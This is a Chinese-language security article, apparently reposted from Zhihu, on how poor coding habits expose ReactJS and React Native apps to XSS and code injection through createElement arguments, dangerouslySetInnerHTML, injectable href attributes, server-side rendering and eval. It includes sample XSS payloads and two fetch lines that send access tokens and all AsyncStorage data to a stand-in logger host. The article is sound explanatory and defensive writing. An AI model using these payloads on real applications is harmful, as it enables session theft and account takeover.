ReactJS 中的代碼注入

weny 7年前發布 | 27K 次閱讀 React JavaScript開發 JavaScript

ReactJS 概述

ReactJS是一款用于構建用戶界面的JavaScript庫。它能預加載Web前端,給用戶帶來更舒適的體驗。React已經實現了絕大部分的客戶端邏輯(比如說React能自動編碼字符串),因此開發者大抵不用擔心XSS攻擊。

因此,只要合理使用React,你的應用就不會有太大的安全隱患。然而這些防御措施還是會因為壞的編程習慣而失效,比方說:

  • 使用客戶端提供的對象來創建React組件
  • 通過用戶提供的href或者其它可注入的屬性來渲染鏈接
  • 在React中使用dangerouslySetInnerHTML
  • 把用戶提供的數據傳給eval()

就像墨非定律說的那樣,這些隱患隨時都會產生漏洞。讓我慢慢道來。

Components, Props和Elements

Component(組件)是ReactJS最基本的對象。它們就像JavaScript的函數一樣,接受任意輸入(就是后文的props)并返回一個React Element(元素)。一個基本的component如下:

class Welcome extends React.Component {
  render() {
    return <h1>Hello, {this.props.name}</h1>;
  }
}

注意看奇葩的return,它返回的東西叫JSX。JSX是JavaScript語法的擴展,它會被自動轉譯成正常的JavaScript(ES5)代碼。就拿下面的代碼來說,雖然它們形式不一樣,但功效相同:

// JSX代碼

const element = (
  <h1 className="greeting">
  Hello, world!
  </h1>
);

// 被轉譯過后的代碼

const element = React.createElement(
  ‘h1’,
  {className: ‘greeting’},
  ‘Hello, world!’
);

在React中,開發者可以用createElement()來從component類中創建新的元素:

React.createElement(
  type,
  [props],
  [...children]
)

這個函數用了這三個參數:

  • type可以是HTML標簽的名字(比如div,span),或者是一個component類。不過在React Native中,這個參數只能被傳入component
  • props是一個包含了許多屬性的列表,并且這些值要被傳給element
  • children包含了新元素的子節點

當你控制了其中的參數,你可以發動許多攻擊

注入子節點

在2015年3月,Daniel LeCheminant匯報了一個 HackerOne的存儲形XSS 。導致這個問題的原因是HackerOne會將客戶端提供的一個對象當作children傳給React.createElement()。代碼大概如下:

/* 獲取用戶提供的參數,并將其當作JSON解析
attacker_supplied_value = JSON.parse(some_user_input)
*/
render() {  
 return <span>{attacker_supplied_value}</span>;
}

JSX會被轉譯成這樣: React.createElement("span", null, attacker_supplied_value};

當attacker_supplied_value是字符串時,該代碼會返回一個span元素。不過在參數為簡單對象時,這個函數也會正常執行。Daniel在props中添加dangerouslySetInnerHTML來阻止React轉碼HTML:

{
 _isReactElement: true,
 _store: {},
 type: "body",
 props: {
   dangerouslySetInnerHTML: {
     __html:
     "<h1>Arbitrary HTML</h1>
     <script>alert(‘No CSP Support :(‘)</script>
     <a href=’http://danlec.com'>link</a>"
    }
  }
}

后來,React的元素需要有屬性$$typeof: Symbol.for('react.element') 才能被正確識別。因為在注入對象時不能引用全局JavaScript Symbol,Daniel的方法也就隨之失效了。

控制Element類型

雖然注入簡單對象這個方法不能使用了,但是createElement的type參數支持字符串,因此注入component也還是有可能的。假設有以下代碼:

// 用后端提供的字符串創建element
element_name = stored_value;
React.createElement(element_name, null);

如果stored_value被攻擊者控制,那么可以通過其創建任意React component。不過這樣也只能創建簡單的HTML元素。為了更好地利用,攻擊者必須控制新建元素時的屬性參數。

注入props

我們來看看一下代碼:

// 解析攻擊者提供的JSON并傳給createElement中
// 危險代碼,請勿模仿
attacker_props = JSON.parse(stored_value)
React.createElement("span", attacker_props};

我們可以以此注入任意props參數,比方說開啟dangerouslySetInnerHTML:

{"dangerouslySetInnerHTML" : { "__html": "<img src=x/ onerror=’alert(localStorage.access_token)’>"}}

傳統XSS

一些傳統的XSS攻擊向量也可以被應用到ReactJS中,我將列舉一些情況:

設置了dangerouslySetInnerHTML

開發者可能因種種原因啟用了dangerouslySetInnerHTML: <div dangerouslySetInnerHTML={user_supplied} />

很顯然,當你控制了它的參數后,你可以注入任意JavaScript代碼

可注入的屬性

如果你控制了一個動態創建的a標簽中的href屬性,那么便可以嘗試注入javascript:偽協議。還有一些HTML5的屬性(formactin),也可以被用來當攻擊點。

<a href={userinput}>Link</a>
<button form="name" formaction={userinput}>

當瀏覽器支持HTML5的import時,如下代碼也會生效: <link rel=”import” href={user_supplied}>

服務端渲染的HTML

為了減少頁面加載的時間,人們漸漸傾向于在服務端預渲染ReactJS。在16年11月, Emilia Smith 指出因為缺乏轉碼, Redux 的服務端預渲染代碼會導致XSS。

當然,只要在預渲染時缺乏轉碼,任何Web應用都會有類似問題。

基于Eval的代碼注入

當你控制了一個被傳入eval到執行的字符串,執行自己的代碼便不在話下。不過這種情況鳳毛麟角。

function antiPattern() {
  eval(this.state.attacker_supplied);
}
// Or even crazier
fn = new Function("..." + attacker_supplied + "...");
fn();

持久化 session

對于現代Web應用而言,session cookies已經過時了。身處時代前沿的開發者一般在用無狀態的session tokens,并將其存儲在客戶端的local storage。因此我們也要改變攻擊手段了:

fetch('http://example.com/logger.php?token='+localStorage.access_token);

React Native 中的注入

React Native讓你可以用ReactJS在移動端編寫程序,然而前文提到的手段大多在React Native中不管用:

  • React Native的createInternalComponent只接受被標簽過的component類。即使你能控制createElement的所有參數,也不能創建任意元素。
  • HTML屬性不能使用,并且HTML不會被解析,因此一般基于瀏覽器的XSS(比如href)不能正常執行

只有基于eval的攻擊才能被執行。不過當你成功地執行了JS時,就能使用React Native的API來做破壞力更強的事,比如通過AsyncStorage盜取local storage的所有數據:

_reactNative.AsyncStorage.getAllKeys(function(err,result){_reactNative.AsyncStorage.multiGet(result,function(err,result){fetch('http://example.com/logger.php?token='+JSON.stringify(result));});});

總結

即使React安全防御先天良好,壞的編程習慣依然會帶來種種漏洞。我給大家帶來兩個忠告:

  • 對于安全研究員:給每一個參數注入JavaScript或者JSON,可能會有意外的驚喜
  • 對于開發者:千萬不要使用eval()或dangerouslySetInnerHTML。盡可能地少解析用戶提供的JSON

 

來自:https://zhuanlan.zhihu.com/p/28434174

 

 本文由用戶 weny 自行上傳分享,僅供網友學習交流。所有權歸原作者,若您的權利被侵害,請聯系管理員。
 轉載本站原創文章,請注明出處,并保留原始鏈接、圖片水印。
 本站是一個以用戶分享為主的開源技術平臺,歡迎各類分享!